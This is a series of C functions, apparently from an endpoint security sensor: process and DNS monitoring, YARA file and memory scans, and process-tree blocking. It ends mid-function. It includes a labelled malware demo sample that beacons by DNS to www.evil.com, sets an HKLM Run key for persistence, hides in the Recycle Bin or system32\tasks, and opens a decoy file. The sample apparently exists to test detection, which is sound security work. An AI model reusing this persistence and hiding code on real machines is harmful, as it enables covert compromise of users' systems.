//============================================================================= // Utilities //============================================================================= static rSequence getStaticConfig ( ) { RU8 magic[] = _HCP_DEFAULT_STATIC_STORE_MAGIC; rSequence config = NULL; RU32 unused = 0; RU8 key[] = _HCP_DEFAULT_STATIC_STORE_KEY; if( 0 != rpal_memory_memcmp( g_patchedConfig, magic, sizeof( magic ) ) ) { obfuscationLib_toggle( g_patchedConfig, sizeof( g_patchedConfig ), key, sizeof( key ) ); if( rSequence_deserialise( &config, g_patchedConfig, sizeof( g_patchedConfig ), &unused ) ) { rpal_debug_info( "static store patched, using it as config" ); } obfuscationLib_toggle( g_patchedConfig, sizeof( g_patchedConfig ), key, sizeof( key ) ); } else { rpal_debug_info( "static store not patched, using defaults" ); } return config; }
RBOOL stopAllModules ( ) { RBOOL isSuccess = TRUE; RU32 moduleIndex = 0; for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ ) { rpal_debug_info( "stopping module at %d", moduleIndex ); if( 0 != g_hcpContext.modules[ moduleIndex ].hThread ) { if( rEvent_set( g_hcpContext.modules[ moduleIndex ].isTimeToStop ) && rpal_thread_wait( g_hcpContext.modules[ moduleIndex ].hThread, RP_HCP_CONTEXT_MODULE_TIMEOUT ) ) { _cleanupModuleEntry( &( g_hcpContext.modules[ moduleIndex ] ) ); rpal_debug_info( "finished stopping module." ); } else { isSuccess = FALSE; } } } rpal_debug_info( "finished stopping all modules" ); return isSuccess; }
RPRIVATE RPVOID dnsDiffThread ( rEvent isTimeToStop, RPVOID ctx ) { UNREFERENCED_PARAMETER( ctx ); while( !rEvent_wait( isTimeToStop, 0 ) ) { if( kAcq_isAvailable() ) { rpal_debug_info( "running kernelmode acquisition dns notification" ); dnsKmDiffThread( isTimeToStop ); } else if( !rEvent_wait( isTimeToStop, 0 ) ) { rpal_debug_info( "running usermode acquisition dns notification" ); dnsUmDiffThread( isTimeToStop ); } } return NULL; }
static RVOID simulateBeacon ( ) { RNCHAR dnsDll[] = _NC( "dnsapi.dll" ); RCHAR dnsAPI[] = "DnsQuery_W"; RNCHAR dns[] = _NC( "www.evil.com" ); HMODULE hDns = NULL; DNS_STATUS (WINAPI *DnsQuery_f)( PCTSTR lpstrName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORD *ppQueryResultsSet, PVOID *pReserved ); DNS_STATUS status = 0; PDNS_RECORDW unused = NULL; rpal_debug_info( "loading DnsApi..." ); if( NULL != ( hDns = LoadLibraryW( dnsDll ) ) && NULL != ( *(FARPROC*)&DnsQuery_f = GetProcAddress( hDns, dnsAPI ) ) ) { rpal_debug_info( "sending DNS beacon to %s...", dns ); if( ERROR_SUCCESS == ( status = DnsQuery_f( dns, DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &unused, NULL ) ) ) { rpal_debug_info( "successfully sent a DNS beacon." ); } else { rpal_debug_error( "error sending DNS beacon: %d.", status ); } } else { rpal_debug_error( "error loading DnsApi." ); } }
static RVOID shutdownCollectors ( ) { RU32 i = 0; if( !rEvent_wait( g_hbs_state.isTimeToStop, 0 ) ) { rpal_debug_info( "signaling to collectors to stop." ); rEvent_set( g_hbs_state.isTimeToStop ); if( NULL != g_hbs_state.hThreadPool ) { rpal_debug_info( "destroying collector thread pool." ); rThreadPool_destroy( g_hbs_state.hThreadPool, TRUE ); g_hbs_state.hThreadPool = NULL; for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ ) { if( g_collectors[ i ].isEnabled ) { rpal_debug_info( "cleaning up collector %d.", i ); g_collectors[ i ].cleanup( &g_hbs_state, g_collectors[ i ].conf ); rSequence_free( g_collectors[ i ].conf ); g_collectors[ i ].conf = NULL; } } } } }
static RPVOID moduleDiffThread ( rEvent isTimeToStop, RPVOID ctx ) { UNREFERENCED_PARAMETER( ctx ); while( !rEvent_wait( isTimeToStop, 0 ) ) { if( kAcq_isAvailable() && !g_is_kernel_failure ) { // We first attempt to get new modules through // the kernel mode acquisition driver rpal_debug_info( "running kernel acquisition module notification" ); modKernelModeDiff( isTimeToStop ); } // If the kernel mode fails, or is not available, try // to revert to user mode else if( !rEvent_wait( isTimeToStop, 0 ) ) { rpal_debug_info( "running usermode acquisition module notification" ); modUserModeDiff( isTimeToStop ); } } return NULL; }
static RVOID checkBootstrap ( ) { HKEY hKeyRoot = HKEY_LOCAL_MACHINE; RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ); HKEY hKey = NULL; rpal_debug_info( "opening reg bootstrap key..." ); if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) ) { rpal_debug_info( "setting bootstrap key to current exe location..." ); if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) ) { rpal_debug_info( "successfully set bootstrap key!" ); } else { rpal_debug_error( "error setting bootstrap key to current location." ); } RegCloseKey( hKey ); } else { rpal_debug_error( "error opening reg bootstrap key." ); } }
static RVOID relaunchInPermanentLocation ( ) { RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ), _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) }; RU32 i = 0; STARTUPINFOW startupInfo = {0}; PROCESS_INFORMATION procInfo = {0}; RPWCHAR expandedPath = NULL; for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ ) { rpal_debug_info( "trying to move to bootstrap location %d...", i ); rpal_file_delete( bootstrapLocations[ i ], FALSE ); if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) ) { rpal_debug_info( "successfully moved to bootstrap location!" ); rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] ); if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) && 0 != CreateProcessW( expandedPath, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &procInfo ) ) { rpal_debug_info( "successfully launched from new location." ); } else { rpal_debug_error( "error launching from permanent location: %d.", GetLastError() ); } if( NULL != expandedPath ) { rpal_memory_free( expandedPath ); } break; } else { rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." ); } } }
static RBOOL notifyOfProcess ( RU32 pid, RU32 ppid, RBOOL isStarting ) { RBOOL isSuccess = FALSE; rSequence info = NULL; rSequence parentInfo = NULL; if( !isStarting || NULL == ( info = processLib_getProcessInfo( pid ) ) ) { info = rSequence_new(); } if( rpal_memory_isValid( info ) ) { rSequence_addRU32( info, RP_TAGS_PROCESS_ID, pid ); rSequence_addRU32( info, RP_TAGS_PARENT_PROCESS_ID, ppid ); rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() ); if( isStarting ) { if( NULL != ( parentInfo = processLib_getProcessInfo( ppid ) ) && !rSequence_addSEQUENCE( info, RP_TAGS_PARENT, parentInfo ) ) { rSequence_free( parentInfo ); } } if( isStarting ) { if( notifications_publish( RP_TAGS_NOTIFICATION_NEW_PROCESS, info ) ) { isSuccess = TRUE; rpal_debug_info( "new process starting: %d", pid ); } } else { if( notifications_publish( RP_TAGS_NOTIFICATION_TERMINATE_PROCESS, info ) ) { isSuccess = TRUE; rpal_debug_info( "new process terminating: %d", pid ); } } rSequence_free( info ); } return isSuccess; }
RU32 RPAL_EXPORT RPAL_THREAD_FUNC rpHcpI_entry ( rpHCPModuleContext* moduleContext ) { RU32 ret = (RU32)(-1); rThread hMain = 0; if( NULL != moduleContext ) { g_Module_Context = moduleContext; if( rpal_initialize( moduleContext->rpalContext, g_current_Module_id ) ) { ret = (RU32)(-2); if( 0 != ( hMain = rpal_thread_new( RpHcpI_mainThread, g_Module_Context->isTimeToStop ) ) ) { rpal_debug_info( "main module worker started" ); ret = 0; while( TRUE ) { if( rpal_thread_wait( hMain, ( 1 * 1000 ) ) ) { break; } } rpal_debug_info( "main module worker finished" ); rpal_thread_free( hMain ); } else { rpal_debug_error( "failed spawning module main worker" ); } rpal_Context_cleanup(); rpal_Context_deinitialize(); } else { rpal_debug_error( "failed IFace init" ); } } return ret; }
RBOOL rpHostCommonPlatformLib_stop ( ) { if( 0 == rInterlocked_decrement32( &g_hcpContext.isRunning ) ) { stopBeacons(); stopAllModules(); rpal_memory_free( g_hcpContext.primaryUrl ); rpal_memory_free( g_hcpContext.secondaryUrl ); if( NULL != g_hcpContext.enrollmentToken && 0 != g_hcpContext.enrollmentTokenSize ) { rpal_memory_free( g_hcpContext.enrollmentToken ); } freeKeys(); #ifdef RPAL_PLATFORM_WINDOWS SetConsoleCtrlHandler( (PHANDLER_ROUTINE)ctrlHandler, FALSE ); #endif rMutex_free( g_hcpContext.cloudConnectionMutex ); rEvent_free( g_hcpContext.isCloudOnline ); g_hcpContext.cloudConnectionMutex = NULL; g_hcpContext.isCloudOnline = NULL; rpal_Context_cleanup(); rpal_Context_deinitialize(); // If the default crashContext is still present, remove it since // we are shutting down properly. If it's non-default leave it since // somehow we may have had a higher order crash we want to keep // track of but we are still leaving through our normal code path. if( 1 == getCrashContextSize() ) { rpal_debug_info( "clearing default crash context" ); cleanCrashContext(); } } else { rInterlocked_increment32( &g_hcpContext.isRunning ); } rpal_debug_info( "finished stopping hcp" ); return TRUE; }
static RBOOL updateCollectorConfigs ( rList newConfigs ) { RBOOL isSuccess = FALSE; RU8 unused = 0; RU32 i = 0; rSequence tmpConf = NULL; RU32 confId = 0; if( rpal_memory_isValid( newConfigs ) ) { rpal_debug_info( "updating collector configurations." ); for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ ) { if( NULL != g_collectors[ i ].conf ) { rpal_debug_info( "freeing collector %d config.", i ); rSequence_free( g_collectors[ i ].conf ); g_collectors[ i ].conf = NULL; } } while( rList_getSEQUENCE( newConfigs, RP_TAGS_HBS_CONFIGURATION, &tmpConf ) ) { if( rSequence_getRU32( tmpConf, RP_TAGS_HBS_CONFIGURATION_ID, &confId ) && confId < ARRAY_N_ELEM( g_collectors ) ) { if( rSequence_getRU8( tmpConf, RP_TAGS_IS_DISABLED, &unused ) ) { g_collectors[ confId ].isEnabled = FALSE; } else { g_collectors[ confId ].isEnabled = TRUE; g_collectors[ confId ].conf = rSequence_duplicate( tmpConf ); rpal_debug_info( "set new collector %d config.", confId ); } } } isSuccess = TRUE; } return isSuccess; }
RPRIVATE RVOID _cleanupModuleEntry ( rpHCPModuleInfo* mod ) { rEvent_free( mod->context.isTimeToStop ); rpal_thread_free( mod->hThread ); if( mod->isOsLoaded ) { #ifdef RPAL_PLATFORM_WINDOWS FreeLibrary( (HMODULE)(mod->hModule) ); #elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX ) dlclose( mod->hModule ); #endif } else { MemoryFreeLibrary( mod->hModule ); } rpal_debug_info( "module %d cleaned up", mod->id ); rpal_memory_zero( mod, sizeof( *mod ) ); }
static RU32 uninstallService ( ) { RU32 res = (RU32)-1; RNCHAR svcUnload[] = { _SERVICE_UNLOAD }; RNCHAR svcPath[] = { _SERVICE_FILE }; if( 0 != system( svcUnload ) ) { rpal_debug_warning( "failed to unload service, already unloaded?" ); } if( !rpal_file_delete( svcPath, FALSE ) ) { rpal_debug_warning( "failed to delete file from disk, not present?" ); } else { rpal_debug_info( "uninstalled successfully" ); res = 0; } return res; }
BOOL ctrlHandler ( DWORD type ) { BOOL isHandled = FALSE; static RU32 isHasBeenSignaled = 0; UNREFERENCED_PARAMETER( type ); if( 0 == rInterlocked_set32( &isHasBeenSignaled, 1 ) ) { // We handle all events the same way, cleanly exit rpal_debug_info( "terminating rpHCP." ); rpHostCommonPlatformLib_stop(); rEvent_set( g_timeToQuit ); isHandled = TRUE; } return isHandled; }
static RVOID dropDecoyTextFile ( ) { RWCHAR execVerb[] = _WCH( "open" ); RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." ); RWCHAR decoyPath[ MAX_PATH ] = {0}; RU32 i = 0; // Generate new path for the decoy, same as current minus the .exe if( rpal_string_strcpy( decoyPath, g_self_path ) ) { if( 4 < ( i = rpal_string_strlen( decoyPath ) ) ) { decoyPath[ i - 4 ] = 0; if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) ) { rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath ); rpal_debug_info( "launching text file reader app..." ); if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) ) { rpal_debug_info( "decoy successfully launched." ); } else { rpal_debug_error( "error launching decoy app." ); } } else { rpal_debug_error( "error writing decoy file." ); } } else { rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" ); } } }
static RVOID processNewModule ( rpcm_tag notifType, rSequence event ) { RPWCHAR nameW = NULL; RPCHAR nameA = NULL; RU8 fileHash[ CRYPTOLIB_HASH_SIZE ] = { 0 }; RU64 size = 0; UNREFERENCED_PARAMETER( notifType ); if( rpal_memory_isValid( event ) ) { if( rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &nameA ) || rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &nameW ) ) { if( NULL != nameA && !CryptoLib_hashFileA( nameA, fileHash, TRUE ) ) { rpal_debug_info( "unable to fetch file hash for ident" ); } if( NULL != nameW && !CryptoLib_hashFileW( nameW, fileHash, TRUE ) ) { rpal_debug_info( "unable to fetch file hash for ident" ); } rSequence_getRU64( event, RP_TAGS_MEMORY_SIZE, &size ); if( NULL != nameA ) { processCodeIdentA( nameA, fileHash, size, event ); } else if( NULL != nameW ) { processCodeIdentW( nameW, fileHash, size, event ); } } } }
// Receives new process notifications and check if they're on our // deny list, if so, kill. RPRIVATE RVOID denyNewProcesses ( rpcm_tag notifType, rSequence event ) { RPU8 atomId = NULL; RU32 pid = 0; UNREFERENCED_PARAMETER( notifType ); // We use the lastActivity check here as a cheap way of seeing if there is // anything at all in the denied tree. if( 0 != g_lastDenyActivity && HbsGetParentAtom( event, &atomId ) && isAtomDenied( atomId ) ) { // This atom is part of a tree that needs to be denied, so we do two things: // 1- Add its atom to the list of denied atoms. if( HbsGetThisAtom( event, &atomId ) ) { addAtomToDeny( atomId ); } // 2- As this is a process, we deny by killing it. if( rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) ) { if( processLib_killProcess( pid ) ) { rpal_debug_info( "denied process id " RF_U32, pid ); } else { rpal_debug_warning( "failed to deny process id " RF_U32, pid ); } } } else if( 0 != g_lastDenyActivity && g_lastDenyActivity + DENY_TREE_CLEANUP_TIMEOUT < rpal_time_getGlobal() ) { // There has not been any positive activity on any denied trees, for the sake // of performance we'll reset the denied trees. if( rMutex_lock( g_deniedMutex ) ) { g_lastDenyActivity = 0; rpal_blob_free( g_denied ); g_denied = rpal_blob_create( 0, HBS_ATOM_ID_SIZE * 10 ); rMutex_unlock( g_deniedMutex ); } } }
static RBOOL startCollectors ( ) { RBOOL isSuccess = FALSE; RU32 i = 0; rEvent_unset( g_hbs_state.isTimeToStop ); if( NULL != ( g_hbs_state.hThreadPool = rThreadPool_create( 1, 15, MSEC_FROM_SEC( 10 ) ) ) ) { isSuccess = TRUE; for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ ) { if( g_collectors[ i ].isEnabled ) { if( !g_collectors[ i ].init( &g_hbs_state, g_collectors[ i ].conf ) ) { isSuccess = FALSE; rpal_debug_warning( "collector %d failed to init.", i ); } else { rpal_debug_info( "collector %d started.", i ); } } else { rpal_debug_info( "collector %d disabled.", i ); } } } return isSuccess; }
static RBOOL getStoreConf ( ) { RBOOL isSuccess = FALSE; RPU8 storeFile = NULL; RU32 storeFileSize = 0; rpHCPIdentStore* storeV2 = NULL; OBFUSCATIONLIB_DECLARE( store, RP_HCP_CONFIG_IDENT_STORE ); OBFUSCATIONLIB_TOGGLE( store ); if( rpal_file_read( (RPNCHAR)store, (RPVOID)&storeFile, &storeFileSize, FALSE ) ) { if( sizeof( rpHCPIdentStore ) <= storeFileSize ) { storeV2 = (rpHCPIdentStore*)storeFile; if( storeV2->enrollmentTokenSize == storeFileSize - sizeof( rpHCPIdentStore ) ) { isSuccess = TRUE; rpal_debug_info( "ident store found" ); if( NULL != ( g_hcpContext.enrollmentToken = rpal_memory_alloc( storeV2->enrollmentTokenSize ) ) ) { rpal_memory_memcpy( g_hcpContext.enrollmentToken, storeV2->enrollmentToken, storeV2->enrollmentTokenSize ); g_hcpContext.enrollmentTokenSize = storeV2->enrollmentTokenSize; } g_hcpContext.currentId = storeV2->agentId; } else { rpal_debug_warning( "inconsistent ident store, reseting" ); rpal_file_delete( (RPNCHAR)store, FALSE ); } } rpal_memory_free( storeFile ); } OBFUSCATIONLIB_TOGGLE( store ); // Set some always-correct defaults g_hcpContext.currentId.id.platformId = RP_HCP_ID_MAKE_PLATFORM( RP_HCP_PLATFORM_CURRENT_CPU, RP_HCP_PLATFORM_CURRENT_MAJOR, RP_HCP_PLATFORM_CURRENT_MINOR ); return isSuccess; }
rMutex rpal_mutex_create ( ) { lck_mtx_t* mutex = NULL; lck_grp_attr_t* gattr = NULL; lck_attr_t* lattr = NULL; if( 0 == g_lck_group ) { rpal_debug_info( "mutex group not created, creating" ); gattr = lck_grp_attr_alloc_init(); if( NULL == gattr ) { rpal_debug_critical( "could not create mutex group" ); return NULL; } lck_grp_attr_setstat( gattr ); g_lck_group = lck_grp_alloc_init( "hcphbs", gattr ); lck_grp_attr_free( gattr ); } if( NULL == g_lck_group ) { return NULL; } lattr = lck_attr_alloc_init(); if( NULL != lattr ) { mutex = lck_mtx_alloc_init( g_lck_group, lattr ); lck_attr_free( lattr ); } else { rpal_debug_critical( "could not create mutex attributes" ); } return mutex; }
void ctrlHandler ( int sigNum ) { static RU32 isHasBeenSignaled = 0; if( 0 == rInterlocked_set32( &isHasBeenSignaled, 1 ) ) { rpal_debug_info( "terminating rpHCP." ); rpHostCommonPlatformLib_stop(); rEvent_set( g_timeToQuit ); } }
RU32 RPAL_THREAD_FUNC RpHcpI_mainThread ( rEvent isTimeToStop ) { RU32 ret = 0; FORCE_LINK_THAT(HCP_IFACE); while( !rEvent_wait( isTimeToStop, (10*1000) ) ) { rpal_debug_info("RP HCP Test Module Running...\n"); } return ret; }
static VOID WINAPI SvcCtrlHandler ( DWORD fdwControl ) { switch( fdwControl ) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: if( g_svc_status.dwCurrentState != SERVICE_RUNNING ) break; /* * Perform tasks necessary to stop the service here */ g_svc_status.dwControlsAccepted = 0; g_svc_status.dwCurrentState = SERVICE_STOP_PENDING; g_svc_status.dwWin32ExitCode = 0; g_svc_status.dwCheckPoint = 2; SetServiceStatus( g_svc_status_handle, &g_svc_status ); rpal_debug_info( "terminating rpHCP." ); rpHostCommonPlatformLib_stop(); rEvent_set( g_timeToQuit ); break; default: break; } }
static RPVOID osTrackerDiffThread ( rEvent isTimeToStop, RPVOID ctx ) { CryptoLib_Hash* prevServices = NULL; RU32 prevNServices = 0; CryptoLib_Hash* prevDrivers = NULL; RU32 prevNDrivers = 0; CryptoLib_Hash* prevAutoruns = NULL; RU32 prevNAutoruns = 0; rList snapshot = NULL; UNREFERENCED_PARAMETER( ctx ); while( !rEvent_wait( isTimeToStop, g_diff_timeout ) ) { rpal_debug_info( "looking for changes in os snapshots" ); if( NULL != ( snapshot = libOs_getServices( TRUE ) ) ) { _processSnapshot( snapshot, &prevServices, &prevNServices, RP_TAGS_SVC, RP_TAGS_NOTIFICATION_SERVICE_CHANGE ); rList_free( snapshot ); } if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) { break; } if( NULL != ( snapshot = libOs_getDrivers( TRUE ) ) ) { _processSnapshot( snapshot, &prevDrivers, &prevNDrivers, RP_TAGS_SVC, RP_TAGS_NOTIFICATION_DRIVER_CHANGE ); rList_free( snapshot ); } if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) { break; } if( NULL != ( snapshot = libOs_getAutoruns( TRUE ) ) ) { _processSnapshot( snapshot, &prevAutoruns, &prevNAutoruns, RP_TAGS_SVC, RP_TAGS_NOTIFICATION_AUTORUN_CHANGE ); rList_free( snapshot ); } rpal_debug_info( "finished updating snapshots" ); } FREE_AND_NULL( prevServices ); FREE_AND_NULL( prevDrivers ); FREE_AND_NULL( prevAutoruns ); return NULL; }
static RVOID doScan ( rpcm_tag eventType, rSequence event ) { RU32 pid = 0; RPWCHAR fileW = NULL; RPCHAR fileA = NULL; RPWCHAR procW = NULL; RPCHAR procA = NULL; RPU8 rulesBuffer = NULL; RU32 rulesBufferSize = 0; YR_RULES* rules = NULL; YaraMatchContext matchContext = { 0 }; processLibProcEntry* processes = NULL; processLibProcEntry* curProc = NULL; RU32 scanError = 0; rSequence processInfo = NULL; RPWCHAR tmpW = NULL; RPCHAR tmpA = NULL; UNREFERENCED_PARAMETER( eventType ); if( rpal_memory_isValid( event ) ) { rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ); rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &fileW ); rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &fileA ); rSequence_getSTRINGW( event, RP_TAGS_PROCESS, &procW ); rSequence_getSTRINGA( event, RP_TAGS_PROCESS, &procA ); if( rSequence_getBUFFER( event, RP_TAGS_RULES, &rulesBuffer, &rulesBufferSize ) ) { rules = loadYaraRules( rulesBuffer, rulesBufferSize ); } if( NULL != rules ) { if( NULL != fileW ) { fileA = rpal_string_wtoa( fileW ); } if( NULL != procW ) { procA = rpal_string_wtoa( procW ); } if( NULL != fileA ) { rpal_debug_info( "scanning file with yara" ); matchContext.fileInfo = event; // Scan this file if( ERROR_SUCCESS != ( scanError = yr_rules_scan_file( rules, fileA, SCAN_FLAGS_FAST_MODE, _yaraFileMatchCallback, &matchContext, 60 ) ) ) { rpal_debug_warning( "Yara file scan error: %d", scanError ); } } else if( NULL != procA ) { // Scan processes matching if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) ) { curProc = processes; while( 0 != curProc->pid ) { if( NULL != ( processInfo = processLib_getProcessInfo( curProc->pid, NULL ) ) ) { if( rSequence_getSTRINGW( processInfo, RP_TAGS_FILE_PATH, &tmpW ) || rSequence_getSTRINGA( processInfo, RP_TAGS_FILE_PATH, &tmpA ) ) { if( NULL != tmpW ) { tmpA = rpal_string_wtoa( tmpW ); } if( NULL != tmpA ) { if( rpal_string_match( procA, tmpA, RPAL_PLATFORM_FS_CASE_SENSITIVITY ) ) { matchContext.pid = curProc->pid; matchContext.processInfo = processInfo; scanError = _scanProcessWith( curProc->pid, &matchContext, rules, NULL ); } } if( NULL != tmpW && NULL != tmpA ) { // If both are allocated it means we got a strW and converted to A // so we must free the strA version. rpal_memory_free( tmpA ); } } rSequence_free( processInfo ); } curProc++; } rpal_memory_free( processes ); } } else if( 0 != pid ) { // Scan this process matchContext.pid = pid; scanError = _scanProcessWith( pid, &matchContext, rules, NULL ); rSequence_free( matchContext.processInfo ); } else { // Scan all processes if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) ) { curProc = processes; while( 0 != curProc->pid ) { matchContext.pid = curProc->pid; scanError = _scanProcessWith( curProc->pid, &matchContext, rules, NULL ); rSequence_free( matchContext.processInfo ); curProc++; } rpal_memory_free( processes ); } } if( NULL != fileW && NULL != fileA ) { // If both are allocated it means we got a strW and converted to A // so we must free the strA version. rpal_memory_free( fileA ); } if( NULL != procW && NULL != procA ) { // If both are allocated it means we got a strW and converted to A // so we must free the strA version. rpal_memory_free( procA ); } yr_rules_destroy( rules ); } else { rpal_debug_warning( "no rules in yara scan request" ); reportError( event, RPAL_ERROR_NOT_SUPPORTED, "yara rules do not parse" ); } } rpal_debug_info( "finished on demand yara scan" ); reportError( event, scanError, "done" ); yr_finalize_thread(); }
static RPVOID continuousFileScan ( rEvent isTimeToStop, RPVOID ctx ) { rSequence event = NULL; RU32 timeout = 0; RPWCHAR strW = NULL; RPCHAR strA = NULL; YaraMatchContext matchContext = { 0 }; RU32 scanError = 0; rBloom knownFiles = NULL; UNREFERENCED_PARAMETER( ctx ); if( NULL == ( knownFiles = rpal_bloom_create( 100000, 0.00001 ) ) ) { return NULL; } while( !rEvent_wait( isTimeToStop, timeout ) ) { if( rQueue_remove( g_async_files_to_scan, (RPVOID*)&event, NULL, MSEC_FROM_SEC( 2 ) ) ) { if( rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &strW ) ) { strA = rpal_string_wtoa( strW ); } else { rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &strA ); } if( NULL != strA && rpal_bloom_addIfNew( knownFiles, strA, rpal_string_strlen( strA ) ) ) { rpal_debug_info( "yara scanning %s", strA ); matchContext.fileInfo = event; if( rMutex_lock( g_global_rules_mutex ) ) { if( NULL != g_global_rules ) { rpal_debug_info( "scanning continuous file with yara" ); if( ERROR_SUCCESS != ( scanError = yr_rules_scan_file( g_global_rules, strA, SCAN_FLAGS_FAST_MODE, _yaraFileMatchCallback, &matchContext, 60 ) ) ) { rpal_debug_warning( "Yara file scan error: %d", scanError ); } } rMutex_unlock( g_global_rules_mutex ); } } if( NULL != strA && NULL != strW ) { // If both are allocated it means we got a strW and converted to A // so we must free the strA version. rpal_memory_free( strA ); } strA = NULL; strW = NULL; rSequence_free( event ); timeout = _TIMEOUT_BETWEEN_FILE_SCANS; } else { timeout = 0; } } rpal_bloom_destroy( knownFiles ); yr_finalize_thread(); return NULL; }
static RPVOID continuousMemScan ( rEvent isTimeToStop, RPVOID ctx ) { processLibProcEntry* processes = NULL; processLibProcEntry* curProc = NULL; RU32 thisProcId = 0; YaraMatchContext matchContext = { 0 }; RU32 scanError = 0; UNREFERENCED_PARAMETER( ctx ); thisProcId = processLib_getCurrentPid(); while( !rEvent_wait( isTimeToStop, 0 ) ) { // Wait until we have global rules to look for. if( rMutex_lock( g_global_rules_mutex ) ) { if( NULL == g_global_rules ) { rMutex_unlock( g_global_rules_mutex ); rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 30 ) ); continue; } rMutex_unlock( g_global_rules_mutex ); } if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) ) { curProc = processes; while( 0 != curProc->pid ) { // We can't examine our own memory for the risk of tripping on the sigs themselves. if( curProc->pid == thisProcId ) continue; rpal_debug_info( "yara scanning pid %d", curProc->pid ); matchContext.pid = curProc->pid; matchContext.processInfo = NULL; matchContext.moduleInfo = NULL; scanError = _scanProcessWith( curProc->pid, &matchContext, NULL, isTimeToStop ); rSequence_free( matchContext.processInfo ); if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 30 ) ) ) { break; } curProc++; } rpal_memory_free( processes ); } } yr_finalize_thread(); return NULL; }
static RU32 _scanProcessWith ( RU32 pid, YaraMatchContext* matchContext, YR_RULES* rules, rEvent isTimeToStop ) { RU32 scanError = (RU32)(-1); rList modules = NULL; rSequence module = NULL; _MemRange* memRanges = NULL; RU32 i = 0; rList memoryMap = NULL; rSequence memoryRegion = NULL; RU8 memAccess = 0; RU64 mem = 0; RU64 memSize = 0; RPU8 buffer = NULL; // First pass is to scan known modules if( NULL != ( modules = processLib_getProcessModules( pid ) ) ) { rpal_debug_info( "scanning process %d module memory with yara", pid ); // We also generate an optimized list of module ranges for later if( NULL != ( memRanges = rpal_memory_alloc( sizeof( _MemRange ) * rList_getNumElements( modules ) ) ) ) { while( ( NULL == isTimeToStop || !rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) && rList_getSEQUENCE( modules, RP_TAGS_DLL, &module ) ) { if( rSequence_getPOINTER64( module, RP_TAGS_BASE_ADDRESS, &mem ) && rSequence_getRU64( module, RP_TAGS_MEMORY_SIZE, &memSize ) ) { memRanges[ i ].base = mem; memRanges[ i ].size = memSize; i++; matchContext->regionBase = mem; matchContext->regionSize = memSize; matchContext->moduleInfo = module; if( processLib_getProcessMemory( pid, (RPVOID)NUMBER_TO_PTR( mem ), memSize, (RPVOID*)&buffer, TRUE ) ) { rpal_debug_info( "yara scanning module region of size 0x%lx", memSize ); if( NULL != rules || rMutex_lock( g_global_rules_mutex ) ) { if( ERROR_SUCCESS != ( scanError = yr_rules_scan_mem( NULL == rules ? g_global_rules : rules, buffer, (size_t)memSize, SCAN_FLAGS_FAST_MODE | SCAN_FLAGS_PROCESS_MEMORY, _yaraMemMatchCallback, matchContext, 60 ) ) ) { rpal_debug_warning( "Yara module scan error: %d 0x%lx 0x%lx: %d", pid, mem, memSize, scanError ); } if( NULL == rules ) { rMutex_unlock( g_global_rules_mutex ); } } rpal_memory_free( buffer ); rpal_debug_info( "finished region" ); } } } } rList_free( modules ); } // Optimize the memory ranges if( rpal_memory_isValid( memRanges ) && !rpal_sort_array( memRanges, i, sizeof( _MemRange ), (rpal_ordering_func)rpal_order_RU64 ) ) { rpal_memory_free( memRanges ); memRanges = NULL; } // Second pass is to go through executable non-module areas if( NULL != ( memoryMap = processLib_getProcessMemoryMap( pid ) ) ) { rpal_debug_info( "scanning process %d non-module memory with yara", pid ); while( ( NULL == isTimeToStop || !rEvent_wait(isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) && rList_getSEQUENCE( memoryMap, RP_TAGS_MEMORY_REGION, &memoryRegion ) ) { if( rSequence_getPOINTER64( memoryRegion, 